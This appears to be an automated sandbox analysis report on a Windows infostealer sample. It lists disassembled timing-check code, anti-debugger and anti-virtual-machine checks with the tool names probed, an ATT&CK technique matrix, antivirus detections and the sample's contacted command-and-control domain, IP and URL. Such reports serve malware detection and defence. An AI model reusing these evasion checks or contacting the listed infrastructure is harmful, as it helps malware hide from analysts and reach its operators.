Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C12EF second address: 72C1337 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, cx 0x00000006 call 00007FF114F02984h 0x0000000b pop ecx 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov dword ptr [edx+1Ch], eax 0x00000012 jmp 00007FF114F02981h 0x00000017 mov eax, dword ptr [esi+20h] 0x0000001a pushad 0x0000001b push eax 0x0000001c mov bx, AAFEh 0x00000020 pop edx 0x00000021 mov cl, C5h 0x00000023 popad 0x00000024 mov dword ptr [edx+20h], eax 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C1337 second address: 72C134F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF1148823D4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C134F second address: 72C1400 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 005BADA4h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr [esi+24h] 0x00000010 pushad 0x00000011 call 00007FF114F0297Fh 0x00000016 pushfd 0x00000017 jmp 00007FF114F02988h 0x0000001c xor al, FFFFFF88h 0x0000001f jmp 00007FF114F0297Bh 0x00000024 popfd 0x00000025 pop eax 0x00000026 movsx edi, ax 0x00000029 popad 0x0000002a mov dword ptr [edx+24h], eax 0x0000002d pushad 0x0000002e push eax 0x0000002f pushfd 0x00000030 jmp 00007FF114F0297Dh 0x00000035 or ecx, 286362A6h 0x0000003b jmp 00007FF114F02981h 0x00000040 popfd 0x00000041 pop ecx 0x00000042 mov dh, 1Eh 0x00000044 popad 0x00000045 mov eax, dword ptr [esi+28h] 0x00000048 push eax 0x00000049 push edx 0x0000004a pushad 0x0000004b pushfd 0x0000004c jmp 00007FF114F02985h 0x00000051 and si, A2B6h 0x00000056 jmp 00007FF114F02981h 0x0000005b popfd 0x0000005c push eax 0x0000005d push edx 0x0000005e rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C1400 second address: 72C1405 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C1405 second address: 72C1413 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF114F0297Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C1413 second address: 72C1417 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C1417 second address: 72C1446 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [edx+28h], eax 0x0000000b jmp 00007FF114F02987h 0x00000010 mov ecx, dword ptr [esi+2Ch] 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 mov si, dx 0x00000019 mov cx, di 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C1446 second address: 72C1459 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF1148823CFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C1459 second address: 72C145D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C145D second address: 72C149D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [edx+2Ch], ecx 0x0000000b jmp 00007FF1148823D5h 0x00000010 mov ax, word ptr [esi+30h] 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FF1148823D8h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C149D second address: 72C14A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C14A1 second address: 72C14A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C14A7 second address: 72C14AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C14AD second address: 72C14BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov word ptr [edx+30h], ax 0x0000000c pushad 0x0000000d mov ah, 30h 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C14BF second address: 72C1591 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 mov ax, word ptr [esi+32h] 0x0000000a pushad 0x0000000b jmp 00007FF114F02985h 0x00000010 mov dh, al 0x00000012 popad 0x00000013 mov word ptr [edx+32h], ax 0x00000017 pushad 0x00000018 mov eax, edi 0x0000001a pushad 0x0000001b pushad 0x0000001c popad 0x0000001d mov eax, edi 0x0000001f popad 0x00000020 popad 0x00000021 mov eax, dword ptr [esi+34h] 0x00000024 jmp 00007FF114F02983h 0x00000029 mov dword ptr [edx+34h], eax 0x0000002c jmp 00007FF114F02986h 0x00000031 test ecx, 00000700h 0x00000037 jmp 00007FF114F02980h 0x0000003c jne 00007FF183570B58h 0x00000042 pushad 0x00000043 pushfd 0x00000044 jmp 00007FF114F0297Eh 0x00000049 xor cl, FFFFFFD8h 0x0000004c jmp 00007FF114F0297Bh 0x00000051 popfd 0x00000052 jmp 00007FF114F02988h 0x00000057 popad 0x00000058 or dword ptr [edx+38h], FFFFFFFFh 0x0000005c jmp 00007FF114F02980h 0x00000061 or dword ptr [edx+3Ch], FFFFFFFFh 0x00000065 push eax 0x00000066 push edx 0x00000067 push eax 0x00000068 push edx 0x00000069 push eax 0x0000006a push edx 0x0000006b rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C1591 second address: 72C1595 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C1595 second address: 72C15B2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF114F02989h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C15B2 second address: 72C15D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, edx 0x00000005 jmp 00007FF1148823D3h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d or dword ptr [edx+40h], FFFFFFFFh 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 mov esi, edx 0x00000016 mov bl, 0Ah 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C15D9 second address: 72C15DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C15DF second address: 72C15E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C15E3 second address: 72C1606 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push esi 0x0000000d pop edi 0x0000000e jmp 00007FF114F02984h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C1606 second address: 72C1663 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF1148823CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FF1148823D4h 0x00000011 jmp 00007FF1148823D5h 0x00000016 popfd 0x00000017 mov ax, 20C7h 0x0000001b popad 0x0000001c leave 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FF1148823D9h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C1663 second address: 72C1669 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C1669 second address: 72C166D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72C166D second address: 72C1671 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 7300B74 second address: 7300B9E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, 4A34AF83h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007FF1148823D6h 0x00000011 mov ebp, esp 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 7300B9E second address: 7300BA4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72B07EC second address: 72B0807 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF1148823D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 7250033 second address: 7250037 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 7250601 second address: 7250607 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 7250607 second address: 725060B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 725060B second address: 7250627 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF1148823CFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 7250627 second address: 725062B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 725062B second address: 7250631 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 7250631 second address: 7250637 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 7250637 second address: 725063B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 725063B second address: 725063F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 725063F second address: 7250659 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FF1148823CDh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 7250659 second address: 725065F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 725065F second address: 72506A1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FF1148823CAh 0x00000009 jmp 00007FF1148823D5h 0x0000000e popfd 0x0000000f mov ah, A1h 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 xchg eax, ebp 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FF1148823D6h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72506A1 second address: 72506A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72506A7 second address: 72506AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: 72506AB second address: 72506BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d movzx eax, dx 0x00000010 popad 0x00000011 rdtsc
Tries to evade debugger and weak emulator (self modifying code)
Source: C:\Users\user\Desktop\u57m8aCdwb.exeSpecial instruction interceptor: First address: C2F9CF instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\u57m8aCdwb.exeSpecial instruction interceptor: First address: DDAFB2 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\u57m8aCdwb.exeSpecial instruction interceptor: First address: DFF865 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\u57m8aCdwb.exeSpecial instruction interceptor: First address: DEBE60 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\u57m8aCdwb.exeSpecial instruction interceptor: First address: E6B4A7 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRegistry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDescJump to behavior
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRegistry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersionJump to behavior
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRegistry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersionJump to behavior
Source: C:\Users\user\Desktop\u57m8aCdwb.exe TID: 3856Thread sleep time: -32016s >= -30000sJump to behavior
Source: C:\Users\user\Desktop\u57m8aCdwb.exe TID: 4424Thread sleep time: -46023s >= -30000sJump to behavior
Source: C:\Users\user\Desktop\u57m8aCdwb.exe TID: 2076Thread sleep time: -34017s >= -30000sJump to behavior
Source: C:\Users\user\Desktop\u57m8aCdwb.exe TID: 2104Thread sleep time: -40020s >= -30000sJump to behavior
Source: C:\Users\user\Desktop\u57m8aCdwb.exe TID: 4408Thread sleep time: -48024s >= -30000sJump to behavior
Source: C:\Users\user\Desktop\u57m8aCdwb.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: 0_2_0050255D GetSystemInfo,GlobalMemoryStatusEx,GetDriveTypeA,GetDiskFreeSpaceExA,KiUserCallbackDispatcher,FindFirstFileW,FindNextFileW,K32EnumProcesses,0_2_0050255D
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: 0_2_005029FF FindFirstFileA,RegOpenKeyExA,CharUpperA,CreateToolhelp32Snapshot,QueryFullProcessImageNameA,CloseHandle,CreateToolhelp32Snapshot,CloseHandle,0_2_005029FF
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: 0_2_0050255D GetSystemInfo,GlobalMemoryStatusEx,GetDriveTypeA,GetDiskFreeSpaceExA,KiUserCallbackDispatcher,FindFirstFileW,FindNextFileW,K32EnumProcesses,0_2_0050255D
Source: u57m8aCdwb.exe, u57m8aCdwb.exe, 00000000.00000002.2643442476.0000000000DBC000.00000040.00000001.01000000.00000003.sdmpBinary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: u57m8aCdwb.exe, 00000000.00000002.2642863152.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpBinary or memory string: SYSTEM\ControlSet001\Services\VBoxSF
Source: u57m8aCdwb.exe, 00000000.00000003.2261137280.00000000019C1000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllZ
Source: u57m8aCdwb.exeBinary or memory string: Hyper-V RAW
Source: u57m8aCdwb.exe, 00000000.00000002.2642863152.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpBinary or memory string: SYSINTERNALSNum_processorNum_ramnameallfreedriversNum_displaysresolution_xresolution_y\*recent_filesprocessesuptime_minutesC:\Windows\System32\VBox*.dll01vbox_firstSYSTEM\ControlSet001\Services\VBoxSFvbox_secondC:\USERS\PUBLIC\public_checkWINDBG.EXEdbgwireshark.exeprocmon.exex64dbg.exeida.exedbg_secdbg_thirdyadroinstalled_appsSOFTWARE\Microsoft\Windows\CurrentVersion\UninstallSOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall%d%s\%sDisplayNameapp_nameindexCreateToolhelp32Snapshot failed.
Source: u57m8aCdwb.exe, 00000000.00000002.2643442476.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpBinary or memory string: $hGfSo
Source: u57m8aCdwb.exe, 00000000.00000002.2643442476.0000000000DBC000.00000040.00000001.01000000.00000003.sdmpBinary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: u57m8aCdwb.exe, 00000000.00000003.2642240904.0000000001A31000.00000004.00000020.00020000.00000000.sdmp, u57m8aCdwb.exe, 00000000.00000003.2595407731.0000000001A39000.00000004.00000020.00020000.00000000.sdmp, u57m8aCdwb.exe, 00000000.00000002.2644842033.0000000001A32000.00000004.00000020.00020000.00000000.sdmp, u57m8aCdwb.exe, 00000000.00000003.2641805041.0000000001A15000.00000004.00000020.00020000.00000000.sdmp, u57m8aCdwb.exe, 00000000.00000003.2641842624.0000000001A21000.00000004.00000020.00020000.00000000.sdmp, u57m8aCdwb.exe, 00000000.00000003.2641368000.0000000001A13000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: u57m8aCdwb.exe, 00000000.00000003.2262835627.0000000006B21000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Y\MACHINE\SYSTEM\ControlSet001\Services\VBoxSFlM!
Source: C:\Users\user\Desktop\u57m8aCdwb.exeSystem information queried: ModuleInformationJump to behavior
Source: C:\Users\user\Desktop\u57m8aCdwb.exeProcess information queried: ProcessInformationJump to behavior

Anti Debugging

barindex
Hides threads from debuggers
Source: C:\Users\user\Desktop\u57m8aCdwb.exeThread information set: HideFromDebuggerJump to behavior
Tries to detect sandboxes and other dynamic analysis tools (window names)
Source: C:\Users\user\Desktop\u57m8aCdwb.exeOpen window title or class name: regmonclass
Source: C:\Users\user\Desktop\u57m8aCdwb.exeOpen window title or class name: gbdyllo
Source: C:\Users\user\Desktop\u57m8aCdwb.exeOpen window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\u57m8aCdwb.exeOpen window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\u57m8aCdwb.exeOpen window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\u57m8aCdwb.exeOpen window title or class name: ollydbg
Source: C:\Users\user\Desktop\u57m8aCdwb.exeOpen window title or class name: filemonclass
Source: C:\Users\user\Desktop\u57m8aCdwb.exeOpen window title or class name: file monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\u57m8aCdwb.exeFile opened: NTICE
Source: C:\Users\user\Desktop\u57m8aCdwb.exeFile opened: SICE
Source: C:\Users\user\Desktop\u57m8aCdwb.exeFile opened: SIWVID
Source: C:\Users\user\Desktop\u57m8aCdwb.exeProcess queried: DebugPortJump to behavior
Source: C:\Users\user\Desktop\u57m8aCdwb.exeProcess queried: DebugPortJump to behavior
Source: C:\Users\user\Desktop\u57m8aCdwb.exeProcess queried: DebugPortJump to behavior
Source: u57m8aCdwb.exe, u57m8aCdwb.exe, 00000000.00000002.2643442476.0000000000DBC000.00000040.00000001.01000000.00000003.sdmpBinary or memory string: 2A7oProgram Manager
Source: u57m8aCdwb.exe, 00000000.00000002.2643442476.0000000000DBC000.00000040.00000001.01000000.00000003.sdmpBinary or memory string: o2A7oProgram Manager
Source: C:\Users\user\Desktop\u57m8aCdwb.exeQueries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\u57m8aCdwb.exeQueries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\u57m8aCdwb.exeQueries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\u57m8aCdwb.exeQueries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\u57m8aCdwb.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior
Source: u57m8aCdwb.exe, 00000000.00000003.2229720908.0000000007570000.00000004.00001000.00020000.00000000.sdmp, u57m8aCdwb.exe, 00000000.00000002.2642863152.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpBinary or memory string: procmon.exe
Source: u57m8aCdwb.exe, 00000000.00000003.2229720908.0000000007570000.00000004.00001000.00020000.00000000.sdmp, u57m8aCdwb.exe, 00000000.00000002.2642863152.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpBinary or memory string: wireshark.exe

Stealing of Sensitive Information

barindex
Infostealer behavior detected
Source: Signature ResultsSignatures: Mutex created, HTTP post and idle behavior
Leaks process information
Source: global trafficTCP traffic: 192.168.2.5:49720 -> 185.121.15.192:80
Source: global trafficTCP traffic: 192.168.2.5:49808 -> 185.121.15.192:80

Mitre Att&ck Matrix

ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
Gather Victim Identity InformationAcquire InfrastructureValid Accounts2
Command and Scripting Interpreter		1
DLL Side-Loading		1
Process Injection		24
Virtualization/Sandbox Evasion		OS Credential Dumping741
Security Software Discovery		1
Exploitation of Remote Services		11
Archive Collected Data		11
Encrypted Channel		Exfiltration Over Other Network MediumAbuse Accessibility Features
CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization Scripts1
DLL Side-Loading		1
Process Injection		LSASS Memory24
Virtualization/Sandbox Evasion		Remote Desktop Protocol1
Data from Local System		2
Ingress Tool Transfer		Exfiltration Over BluetoothNetwork Denial of Service
Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)Logon Script (Windows)1
Deobfuscate/Decode Files or Information		Security Account Manager13
Process Discovery		SMB/Windows Admin SharesData from Network Shared Drive3
Non-Application Layer Protocol		Automated ExfiltrationData Encrypted for Impact
Employee NamesVirtual Private ServerLocal AccountsCronLogin HookLogin Hook3
Obfuscated Files or Information		NTDS1
Remote System Discovery		Distributed Component Object ModelInput Capture4
Application Layer Protocol		Traffic DuplicationData Destruction
Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script12
Software Packing		LSA Secrets1
File and Directory Discovery		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts1
DLL Side-Loading		Cached Domain Credentials216
System Information Discovery		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop

Behavior Graph

Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.


windows-stand

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

SourceDetectionScannerLabelLink
u57m8aCdwb.exe47%ReversingLabsWin32.Infostealer.Tinba
u57m8aCdwb.exe100%AviraTR/Crypt.TPM.Gen
u57m8aCdwb.exe100%Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

NameIPActiveMaliciousAntivirus DetectionReputation
home.twentytk20ht.top
185.121.15.192
truefalse
    		high
    httpbin.org
    		98.85.100.80
    		truefalse
      		high

      Contacted URLs

      NameMaliciousAntivirus DetectionReputation
      http://home.twentytk20ht.top/TQIuuaqjNpwYjtUvFojm1734579850true
        		unknown
        https://httpbin.org/ipfalse
          		high

          URLs from Memory and Binaries

          NameSourceMaliciousAntivirus DetectionReputation
          https://curl.se/docs/hsts.htmlu57m8aCdwb.exe, 00000000.00000002.2642863152.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpfalse
            		high
            http://html4/loose.dtdu57m8aCdwb.exe, 00000000.00000003.2229720908.0000000007570000.00000004.00001000.00020000.00000000.sdmp, u57m8aCdwb.exe, 00000000.00000002.2642863152.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpfalse
              		high
              http://home.twentytk20ht.top/TQIuuaqjNpwYjtUvFojm17345798505a1u57m8aCdwb.exe, 00000000.00000002.2644502123.00000000019B9000.00000004.00000020.00020000.00000000.sdmp, u57m8aCdwb.exe, 00000000.00000003.2642615492.00000000019B7000.00000004.00000020.00020000.00000000.sdmp, u57m8aCdwb.exe, 00000000.00000003.2642594319.00000000019B2000.00000004.00000020.00020000.00000000.sdmpfalse
                		unknown
